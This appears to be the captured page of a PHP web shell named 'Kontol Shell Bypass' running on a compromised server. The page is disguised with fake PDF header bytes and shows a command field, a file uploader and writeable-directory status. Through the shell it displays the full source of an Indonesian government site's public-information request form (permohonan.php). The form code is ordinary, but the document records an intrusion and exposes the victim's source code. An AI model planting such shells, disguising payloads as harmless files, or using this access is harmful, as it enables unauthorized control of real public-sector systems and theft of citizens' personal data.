%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/permohonan.php
<?php
/**
 * Halaman Ajukan Permohonan Informasi Publik.
 * Pemohon memilih salah satu dari 3 kategori pemohon, lalu mengisi formulir
 * yang sesuai. Bukti permohonan berupa Nomor Resi (tanpa perlu akun).
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$kategoriList = get_kategori('kip');

// Definisi 3 kategori pemohon: slug URL => data enum + tampilan.
$tipeMeta = [
    'perorangan' => [
        'db'    => 'perorangan',
        'judul' => 'Permohonan untuk Perorangan',
        'desc'  => 'Warga satu orang, dengan syarat KTP dan Surat Keterangan pendukung.',
        'icon'  => 'fa-user',
        'grad'  => 'from-amber-400 to-orange-500',
        'soft'  => 'bg-amber-50 text-orange-500',
    ],
    'badan-hukum' => [
        'db'    => 'badan_hukum',
        'judul' => 'Permohonan Kelompok Berbadan Hukum',
        'desc'  => 'Warga dalam sebuah komunitas legal; syarat KTP, AHU Kemenkumham dan Akta Notaris.',
        'icon'  => 'fa-users',
        'grad'  => 'from-emerald-400 to-teal-500',
        'soft'  => 'bg-emerald-50 text-teal-500',
    ],
    'non-badan-hukum' => [
        'db'    => 'non_badan_hukum',
        'judul' => 'Permohonan Kelompok Tak Berbadan Hukum',
        'desc'  => 'Warga lebih dari satu orang; syarat KTP dan Surat Keterangan pendukung.',
        'icon'  => 'fa-user-group',
        'grad'  => 'from-pink-400 to-rose-500',
        'soft'  => 'bg-pink-50 text-rose-500',
    ],
];

$errors = [];
$old    = [];

$resiSukses = $_SESSION['permohonan_sukses'] ?? null;
unset($_SESSION['permohonan_sukses']);

// Tentukan tipe (dari query saat GET, dari hidden field saat POST).
$tipeSlug = $_SERVER['REQUEST_METHOD'] === 'POST' ? post_param('tipe') : get_param('tipe');
$tipeValid = isset($tipeMeta[$tipeSlug]);
$meta = $tipeValid ? $tipeMeta[$tipeSlug] : null;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $tipeValid) {
    csrf_verify();
    $tipeDb = $meta['db'];

    $old = [
        'nama'              => post_param('nama'),
        'nama_lembaga'      => post_param('nama_lembaga'),
        'no_ahu'            => post_param('no_ahu'),
        'akta_notaris'      => post_param('akta_notaris'),
        'jumlah_anggota'    => post_param('jumlah_anggota'),
        'nik'               => post_param('nik'),
        'email'             => post_param('email'),
        'no_hp'             => post_param('no_hp'),
        'pekerjaan'         => post_param('pekerjaan'),
        'alamat'            => post_param('alamat'),
        'kategori_id'       => post_param('kategori_id'),
        'rincian_informasi' => post_param('rincian_informasi'),
        'tujuan_penggunaan' => post_param('tujuan_penggunaan'),
        'cara_memperoleh'   => post_param('cara_memperoleh', 'salinan'),
        'cara_terima'       => post_param('cara_terima', 'email'),
    ];

    // Validasi umum (data penanggung jawab / pemohon).
    if ($old['nama'] === '') {
        $errors['nama'] = ($tipeDb === 'perorangan' ? 'Nama lengkap' : 'Nama penanggung jawab') . ' wajib diisi.';
    }
    if (!preg_match('/^\d{16}$/', $old['nik'])) {
        $errors['nik'] = 'NIK harus terdiri dari 16 digit angka.';
    }
    if (!is_valid_email($old['email'])) {
        $errors['email'] = 'Alamat email tidak valid.';
    }
    if (!preg_match('/^[0-9+\-\s]{8,20}$/', $old['no_hp'])) {
        $errors['no_hp'] = 'Nomor HP tidak valid.';
    }
    if ($old['alamat'] === '') {
        $errors['alamat'] = 'Alamat wajib diisi.';
    }

    // Validasi khusus tipe.
    if ($tipeDb === 'badan_hukum') {
        if ($old['nama_lembaga'] === '') { $errors['nama_lembaga'] = 'Nama badan hukum/organisasi wajib diisi.'; }
        if ($old['no_ahu'] === '')       { $errors['no_ahu'] = 'Nomor AHU Kemenkumham wajib diisi.'; }
        if ($old['akta_notaris'] === '') { $errors['akta_notaris'] = 'Nomor Akta Notaris wajib diisi.'; }
    } elseif ($tipeDb === 'non_badan_hukum') {
        if ($old['nama_lembaga'] === '') { $errors['nama_lembaga'] = 'Nama kelompok/komunitas wajib diisi.'; }
        if (!ctype_digit($old['jumlah_anggota']) || (int) $old['jumlah_anggota'] < 2) {
            $errors['jumlah_anggota'] = 'Jumlah anggota minimal 2 orang.';
        }
    }

    // Validasi rincian.
    if ($old['rincian_informasi'] === '') { $errors['rincian_informasi'] = 'Rincian informasi yang dimohon wajib diisi.'; }
    if ($old['tujuan_penggunaan'] === '') { $errors['tujuan_penggunaan'] = 'Tujuan penggunaan informasi wajib diisi.'; }
    if (!in_array($old['cara_memperoleh'], ['melihat', 'salinan'], true)) { $old['cara_memperoleh'] = 'salinan'; }
    if (!in_array($old['cara_terima'], ['email', 'pos', 'ambil'], true)) { $old['cara_terima'] = 'email'; }

    $kategoriId = null;
    if ($old['kategori_id'] !== '') {
        $kat = get_kategori_by_id((int) $old['kategori_id']);
        $kategoriId = $kat ? (int) $kat['id'] : null;
    }

    if (empty($errors)) {
        do {
            $resi = generate_resi();
            $cek = db()->prepare('SELECT 1 FROM permohonan WHERE no_resi = ?');
            $cek->execute([$resi]);
        } while ($cek->fetchColumn());

        $stmt = db()->prepare(
            'INSERT INTO permohonan
             (no_resi, tipe_pemohon, nama, nama_lembaga, no_ahu, akta_notaris, jumlah_anggota, nik, email, no_hp, pekerjaan, alamat, kategori_id, rincian_informasi, tujuan_penggunaan, cara_memperoleh, cara_terima, status)
             VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, "verifikasi")'
        );
        $stmt->execute([
            $resi, $tipeDb, $old['nama'],
            $old['nama_lembaga'] !== '' ? $old['nama_lembaga'] : null,
            $tipeDb === 'badan_hukum' && $old['no_ahu'] !== '' ? $old['no_ahu'] : null,
            $tipeDb === 'badan_hukum' && $old['akta_notaris'] !== '' ? $old['akta_notaris'] : null,
            $tipeDb === 'non_badan_hukum' && $old['jumlah_anggota'] !== '' ? (int) $old['jumlah_anggota'] : null,
            $old['nik'], $old['email'], $old['no_hp'], $old['pekerjaan'] ?: null,
            $old['alamat'], $kategoriId, $old['rincian_informasi'], $old['tujuan_penggunaan'],
            $old['cara_memperoleh'], $old['cara_terima'],
        ]);

        $_SESSION['permohonan_sukses'] = $resi;
        redirect('permohonan.php');
    }
}

$pageTitle = 'Ajukan Permohonan Informasi — ' . APP_NAME_SHORT;
$activeNav = 'layanan';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';

$val = static fn (string $k) => e($old[$k] ?? '');
$inputClass = static fn (string $k) => ($errors[$k] ?? false)
    ? 'border-red-300 focus:border-red-500 focus:ring-red-100'
    : 'border-slate-300 focus:border-mateng-green focus:ring-green-100';
?>

<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a><span class="mx-2">/</span>
            <?php if ($tipeValid && !$resiSukses): ?><a href="<?= e(url('permohonan.php')) ?>" class="hover:underline">Ajukan Permohonan</a><span class="mx-2">/</span><span><?= e($meta['judul']) ?></span>
            <?php else: ?><span>Ajukan Permohonan</span><?php endif; ?>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2"><?= $tipeValid && !$resiSukses ? e($meta['judul']) : 'Ajukan Permohonan Informasi' ?></h1>
        <p class="text-green-50 max-w-2xl"><?= $tipeValid && !$resiSukses ? e($meta['desc']) : 'Pilih kategori pemohon yang sesuai, lalu lengkapi formulir. Anda akan menerima Nomor Resi untuk melacak status.' ?></p>
    </div>
</section>

<main class="max-w-5xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">

    <?php if ($resiSukses): ?>
        <!-- Panel sukses -->
        <div class="max-w-3xl mx-auto bg-white rounded-2xl border border-green-200 shadow-sm overflow-hidden">
            <div class="bg-green-50 p-8 text-center border-b border-green-100">
                <div class="w-16 h-16 bg-mateng-green text-white rounded-full flex items-center justify-center text-3xl mx-auto mb-4"><i class="fas fa-check"></i></div>
                <h2 class="text-2xl font-bold text-slate-900 mb-1">Permohonan Berhasil Dikirim!</h2>
                <p class="text-slate-500">Simpan nomor resi berikut untuk melacak status permohonan Anda.</p>
            </div>
            <div class="p-8 text-center">
                <p class="text-sm text-slate-500 mb-2">Nomor Resi Permohonan</p>
                <div class="inline-flex items-center gap-3 bg-slate-900 text-white text-2xl font-bold tracking-widest px-6 py-3 rounded-xl mb-6">
                    <span><?= e($resiSukses) ?></span>
                    <button onclick="navigator.clipboard.writeText('<?= e($resiSukses) ?>');this.innerHTML='<i class=\'fas fa-check\'></i>'" class="text-base text-slate-400 hover:text-white" title="Salin"><i class="far fa-copy"></i></button>
                </div>
                <div class="flex flex-col sm:flex-row justify-center gap-3">
                    <a href="<?= e(url('cek-status.php?resi=' . urlencode($resiSukses))) ?>" class="bg-mateng-blue hover:bg-sky-700 text-white px-6 py-3 rounded-lg font-semibold transition-colors"><i class="fas fa-search mr-2"></i>Lacak Permohonan</a>
                    <a href="<?= e(url('permohonan.php')) ?>" class="bg-slate-100 hover:bg-slate-200 text-slate-700 px-6 py-3 rounded-lg font-semibold transition-colors">Ajukan Lagi</a>
                </div>
            </div>
        </div>

    <?php elseif (!$tipeValid): ?>
        <!-- Pemilihan kategori pemohon -->
        <div class="text-center mb-10">
            <h2 class="text-2xl font-bold text-slate-900 mb-2">Pilih Kategori Permohonan</h2>
            <p class="text-slate-500 max-w-xl mx-auto">Setiap kategori memiliki persyaratan dan formulir yang berbeda. Pilih yang paling sesuai dengan Anda.</p>
        </div>
        <div class="grid grid-cols-1 md:grid-cols-3 gap-6">
            <?php foreach ($tipeMeta as $slug => $m): ?>
                <a href="<?= e(url('permohonan.php?tipe=' . $slug)) ?>" class="group bg-white rounded-2xl p-8 ring-1 ring-slate-100 shadow-lg shadow-slate-200/40 hover:-translate-y-1.5 hover:shadow-2xl transition-all duration-300 text-center flex flex-col">
                    <div class="w-16 h-16 mx-auto rounded-2xl bg-gradient-to-br <?= $m['grad'] ?> text-white flex items-center justify-center text-2xl mb-5 shadow-lg group-hover:scale-110 transition-transform"><i class="fas <?= $m['icon'] ?>"></i></div>
                    <h3 class="font-bold text-slate-900 text-lg mb-2 leading-snug group-hover:text-mateng-green transition-colors"><?= e($m['judul']) ?></h3>
                    <p class="text-sm text-slate-500 leading-relaxed flex-grow"><?= e($m['desc']) ?></p>
                    <span class="inline-flex items-center justify-center gap-1.5 text-sm font-semibold text-mateng-green mt-5">Pilih & Isi Formulir <i class="fas fa-arrow-right text-xs group-hover:translate-x-1 transition-transform"></i></span>
                </a>
            <?php endforeach; ?>
        </div>

    <?php else: ?>
        <!-- Formulir sesuai tipe -->
        <div class="max-w-3xl mx-auto">
            <a href="<?= e(url('permohonan.php')) ?>" class="inline-flex items-center gap-2 text-sm text-slate-500 hover:text-mateng-green mb-4"><i class="fas fa-arrow-left"></i> Pilih kategori lain</a>

            <div class="flex items-center gap-3 mb-6 bg-white rounded-xl border border-slate-100 p-4 shadow-sm">
                <div class="w-11 h-11 rounded-xl bg-gradient-to-br <?= $meta['grad'] ?> text-white flex items-center justify-center text-lg shrink-0"><i class="fas <?= $meta['icon'] ?>"></i></div>
                <div>
                    <p class="font-bold text-slate-800 leading-tight"><?= e($meta['judul']) ?></p>
                    <p class="text-xs text-slate-500"><?= e($meta['desc']) ?></p>
                </div>
            </div>

            <?php if (!empty($errors)): ?>
                <div class="bg-red-50 border border-red-200 text-red-700 rounded-xl p-4 mb-6 text-sm flex items-start gap-2">
                    <i class="fas fa-triangle-exclamation mt-0.5"></i>
                    <span>Terdapat <?= count($errors) ?> kesalahan pada isian. Mohon periksa kembali formulir di bawah ini.</span>
                </div>
            <?php endif; ?>

            <form method="post" class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 sm:p-8 space-y-6">
                <?= csrf_field() ?>
                <input type="hidden" name="tipe" value="<?= e($tipeSlug) ?>">

                <?php if ($meta['db'] === 'badan_hukum'): ?>
                    <div>
                        <h3 class="font-bold text-slate-800 mb-1">A. Data Badan Hukum</h3>
                        <p class="text-sm text-slate-500 mb-4">Data organisasi/komunitas berbadan hukum.</p>
                        <div class="grid grid-cols-1 gap-4">
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Nama Badan Hukum / Organisasi <span class="text-red-500">*</span></label>
                                <input type="text" name="nama_lembaga" value="<?= $val('nama_lembaga') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('nama_lembaga') ?>">
                                <?php if (isset($errors['nama_lembaga'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nama_lembaga']) ?></p><?php endif; ?>
                            </div>
                            <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                                <div>
                                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Nomor AHU Kemenkumham <span class="text-red-500">*</span></label>
                                    <input type="text" name="no_ahu" value="<?= $val('no_ahu') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('no_ahu') ?>">
                                    <?php if (isset($errors['no_ahu'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['no_ahu']) ?></p><?php endif; ?>
                                </div>
                                <div>
                                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Nomor Akta Notaris <span class="text-red-500">*</span></label>
                                    <input type="text" name="akta_notaris" value="<?= $val('akta_notaris') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('akta_notaris') ?>">
                                    <?php if (isset($errors['akta_notaris'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['akta_notaris']) ?></p><?php endif; ?>
                                </div>
                            </div>
                        </div>
                    </div>
                    <hr class="border-slate-100">
                <?php elseif ($meta['db'] === 'non_badan_hukum'): ?>
                    <div>
                        <h3 class="font-bold text-slate-800 mb-1">A. Data Kelompok</h3>
                        <p class="text-sm text-slate-500 mb-4">Data kelompok/komunitas tidak berbadan hukum.</p>
                        <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Nama Kelompok / Komunitas <span class="text-red-500">*</span></label>
                                <input type="text" name="nama_lembaga" value="<?= $val('nama_lembaga') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('nama_lembaga') ?>">
                                <?php if (isset($errors['nama_lembaga'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nama_lembaga']) ?></p><?php endif; ?>
                            </div>
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Jumlah Anggota <span class="text-red-500">*</span></label>
                                <input type="text" name="jumlah_anggota" value="<?= $val('jumlah_anggota') ?>" inputmode="numeric" placeholder="min. 2" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('jumlah_anggota') ?>">
                                <?php if (isset($errors['jumlah_anggota'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['jumlah_anggota']) ?></p><?php endif; ?>
                            </div>
                        </div>
                    </div>
                    <hr class="border-slate-100">
                <?php endif; ?>

                <div>
                    <h3 class="font-bold text-slate-800 mb-1"><?= $meta['db'] === 'perorangan' ? 'A. Data Pemohon' : 'B. Data Penanggung Jawab' ?></h3>
                    <p class="text-sm text-slate-500 mb-4">Identitas digunakan untuk verifikasi &amp; korespondensi.</p>
                    <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5"><?= $meta['db'] === 'perorangan' ? 'Nama Lengkap' : 'Nama Penanggung Jawab' ?> <span class="text-red-500">*</span></label>
                            <input type="text" name="nama" value="<?= $val('nama') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('nama') ?>">
                            <?php if (isset($errors['nama'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nama']) ?></p><?php endif; ?>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">NIK (16 digit) <span class="text-red-500">*</span></label>
                            <input type="text" name="nik" value="<?= $val('nik') ?>" inputmode="numeric" maxlength="16" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('nik') ?>">
                            <?php if (isset($errors['nik'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nik']) ?></p><?php endif; ?>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Email <span class="text-red-500">*</span></label>
                            <input type="email" name="email" value="<?= $val('email') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('email') ?>">
                            <?php if (isset($errors['email'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['email']) ?></p><?php endif; ?>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">No. HP / WhatsApp <span class="text-red-500">*</span></label>
                            <input type="text" name="no_hp" value="<?= $val('no_hp') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('no_hp') ?>">
                            <?php if (isset($errors['no_hp'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['no_hp']) ?></p><?php endif; ?>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Pekerjaan</label>
                            <input type="text" name="pekerjaan" value="<?= $val('pekerjaan') ?>" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Alamat <span class="text-red-500">*</span></label>
                            <input type="text" name="alamat" value="<?= $val('alamat') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('alamat') ?>">
                            <?php if (isset($errors['alamat'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['alamat']) ?></p><?php endif; ?>
                        </div>
                    </div>
                </div>

                <hr class="border-slate-100">

                <div>
                    <h3 class="font-bold text-slate-800 mb-4"><?= $meta['db'] === 'perorangan' ? 'B' : 'C' ?>. Rincian Permohonan</h3>
                    <div class="space-y-4">
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Kategori Informasi</label>
                            <select name="kategori_id" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
                                <option value="">— Pilih kategori (opsional) —</option>
                                <?php foreach ($kategoriList as $kat): ?>
                                    <option value="<?= (int) $kat['id'] ?>" <?= ($old['kategori_id'] ?? '') == $kat['id'] ? 'selected' : '' ?>><?= e($kat['nama']) ?></option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Rincian Informasi yang Dibutuhkan <span class="text-red-500">*</span></label>
                            <textarea name="rincian_informasi" rows="3" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('rincian_informasi') ?>" placeholder="Contoh: Salinan dokumen APBD tahun 2025"><?= $val('rincian_informasi') ?></textarea>
                            <?php if (isset($errors['rincian_informasi'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['rincian_informasi']) ?></p><?php endif; ?>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Tujuan Penggunaan Informasi <span class="text-red-500">*</span></label>
                            <textarea name="tujuan_penggunaan" rows="2" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('tujuan_penggunaan') ?>" placeholder="Contoh: Bahan penelitian / pengawasan"><?= $val('tujuan_penggunaan') ?></textarea>
                            <?php if (isset($errors['tujuan_penggunaan'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['tujuan_penggunaan']) ?></p><?php endif; ?>
                        </div>
                        <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Cara Memperoleh Informasi</label>
                                <select name="cara_memperoleh" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
                                    <option value="salinan" <?= ($old['cara_memperoleh'] ?? 'salinan') === 'salinan' ? 'selected' : '' ?>>Mendapatkan salinan informasi</option>
                                    <option value="melihat" <?= ($old['cara_memperoleh'] ?? '') === 'melihat' ? 'selected' : '' ?>>Melihat/membaca informasi</option>
                                </select>
                            </div>
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Cara Mendapatkan Salinan</label>
                                <select name="cara_terima" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
                                    <option value="email" <?= ($old['cara_terima'] ?? 'email') === 'email' ? 'selected' : '' ?>>Email</option>
                                    <option value="ambil" <?= ($old['cara_terima'] ?? '') === 'ambil' ? 'selected' : '' ?>>Diambil langsung</option>
                                    <option value="pos"   <?= ($old['cara_terima'] ?? '') === 'pos' ? 'selected' : '' ?>>Pos / Kurir</option>
                                </select>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="bg-slate-50 border border-slate-200 rounded-xl p-4 text-xs text-slate-500 flex items-start gap-2">
                    <i class="fas fa-circle-info mt-0.5"></i>
                    <span>Dengan mengirim formulir ini, saya menyatakan bahwa data yang diisi benar dan informasi akan digunakan sesuai ketentuan peraturan perundang-undangan.</span>
                </div>

                <button type="submit" class="w-full bg-mateng-green hover:bg-green-700 text-white font-bold px-6 py-3.5 rounded-xl transition-colors flex items-center justify-center gap-2">
                    <i class="fas fa-paper-plane"></i> Kirim Permohonan
                </button>
            </form>
        </div>
    <?php endif; ?>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass